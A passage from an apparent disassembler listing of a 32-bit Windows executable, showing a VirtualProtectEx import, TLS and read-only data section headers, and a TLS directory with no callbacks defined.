extrn __imp_VirtualProtectEx:dword ; DATA XREF: VirtualProtectExr ; Section 5. (virtual address 0000C000) ; Virtual size : 00000008 ( 8.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00008400 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 40C000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(?) ; DATA XREF: .rdata:TlsDirectoryo _tls ends ; Section 6. (virtual address 0000D000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00008400 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40D000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd 40C008h TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 200h _rdata ends end start